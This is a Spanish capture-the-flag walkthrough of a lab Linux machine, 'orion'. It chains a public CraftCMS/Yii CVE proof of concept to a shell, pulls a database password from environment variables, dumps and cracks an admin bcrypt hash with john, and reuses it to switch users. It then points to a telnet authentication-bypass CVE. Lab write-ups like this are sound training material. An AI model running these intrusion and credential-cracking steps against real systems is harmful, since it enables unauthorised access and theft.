En la página solo aparece un formulario de contacto que tiene los campos Name, Email y Message. Podemos probar a enviar un payload XSS en los campos en los que se nos permita (normalmente todos menos email, que tiene que seguir un formato estricto).
Si lo enviamos, lo único que recibimos es An error occurred. Please try again later., pero no nos llega ninguna solicitud indicando que el posible XSS haya tenido éxito. Si modificamos el campo email con BurpSuite y mandamos un payload XSS ahí también, pasará lo mismo, así que un XSS no parece ir a servirnos.
De todas formas, las solicitudes enviadas van hacia /api/contact, así que podemos enumerar algún endpoint.
De todas formas, en la página del error, al final del todo, veremos más información de las tecnologías usadas. Más específicamente, vemos también Yii Framework/2.0.51.
Si buscamos más acerca de esta versión, daremos con el CVE-2024-58136. Según el reporte de Rapid7, este CVE es un bypass de un patch al CVE-2024-4990 anterior, y suele usarse junto con otro CVE de CraftCMS, específicamente el CVE-2025‑32432
Si comprobamos los CVE que tenemos apuntados ya, veremos que el CVE-2025‑32432 tiene un POC público, así que lo usamos.
Entramos como www-data. Antes de nada enumeramos otros usuarios y miramos puertos abiertos locales por si hay alguna DB (como suele ser el caso en CMS).
Tenemos el user adam, y si miramos puertos locales:
1
2
3
4
5
www-data@orion:~/html/craft/web$ netstat -tnlp | grep 127.0.0.1
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)tcp 00 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp 00 127.0.0.1:23 0.0.0.0:* LISTEN -
Vemos que están abiertos los puertos 23 (Correspondiente a telnet, pero es raro?), y 3306 (MySQL, a por el que vamos a ir).
Para iniciar sesión en MySQL necesitamos conocer las credenciales del servicio, que posiblemente estén guardadas en algún archivo del CMS. Si buscamos dónde las guarda CraftCMS, veremos que están en .env, un archivo con variables de entorno.
Dado que somos usuario www-data, es posible que dichas variables de entorno estén cargadas en nuestra sesión. Esto podemos comprobarlo fácilmente:
Ahí la tenemos, SuperSecureCraft123Pass!. Antes de nada, probamos a iniciar sesión como adam por si se reutilizan credenciales:
1
2
3
www-data@orion:~$ su adam
Password: # SuperSecureCraft123Pass!su: Authentication failure
Ha fallado. En cualquier caso, entramos a la DB.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
www-data@orion:~$ mysql -u root -p'SuperSecureCraft123Pass!'Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 716Server version: 10.6.23-MariaDB-0ubuntu0.22.04.1 Ubuntu 22.04
MariaDB [(none)]> use orion
MariaDB [orion]> show tables;
# Salen bastantes (66), destaca "users".MariaDB [orion]> select id,admin,username,email,password from users;
+----+-------+----------+----------------+--------------------------------------------------------------+
| id | admin | username | email | password |
+----+-------+----------+----------------+--------------------------------------------------------------+
| 1 | 1 | admin | adam@orion.htb | $2y$13$e9zuohgFZzGtbQalcn9Mz.5PJbjxobO0GMbXo8NHp3P/B42LUg0lS |
+----+-------+----------+----------------+--------------------------------------------------------------+
1 row in set (0.000 sec)
Tenemos un hash bcrypt. Podemos descifrarlo con john.
1
2
3
4
5
6
7
8
9
10
$ john hash --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])Cost 1(iteration count) is 8192for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
darkangel (?)1g 0:00:00:12 DONE (2026-07-24 18:39) 0.07739g/s 55.72p/s 55.72c/s 55.72C/s gloria..marissa
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Y ahí vemos que la contraseña es darkangel. Ahora probamos a cambiar de usuario a adam con la contraseña recién conseguida:
1
2
3
www-data@orion:~$ su adam
Password: # darkangeladam@orion:/var/www$
# INFO DEL SISTEMAadam@orion:~$ cat /etc/os-release | head -n 1&& uname -a
PRETTY_NAME="Ubuntu 22.04.5 LTS"Linux orion 5.15.0-177-generic #187-Ubuntu SMP Sat Apr 11 22:54:33 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux
1
2
3
4
# PRIVILEGIOS SUDOadam@orion:~$ sudo -l
[sudo] password for adam:
Sorry, user adam may not run sudo on orion.
Antes de seguir enumerando, recordemos que había un puerto abierto en localhost, el 23 (telnet?), podemos intentar descubrir qué hay escuchando ahí. Si intentamos conectarnos, veremos que efectivamente es telnet.
1
2
3
4
5
6
7
8
adam@orion:~$ telnet localhost 23Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
Linux 5.15.0-177-generic (orion)(pts/1)orion login:
Y al buscar más acerca de esa versión exacta, daremos con los CVEs CVE-2026-24061 (Authentication Bypass) y CVE-2026-32746 (Buffer Overflow). La primera de ellas permite que un atacante obtenga un shell como root de forma inmediata.
Tras una búsqueda, encontramos un exploit público. Vamos a ver si funciona.
OS: Linux | Dificultad: Easy | Conceptos: Enumeración de subdominios, Chamilo RCE, File Upload, Reutilización de contraseñas, Escalada de privilegios mediante Symlink y setfacl con sudo
OS: Linux | Dificultad: Easy | Conceptos: NFS anónimo, filtración de credenciales en IMAP, OpenSTAManager, CVE Público, reutilización de credenciales, credenciales MySQL hardcodeadas, Command Injection en OliveTin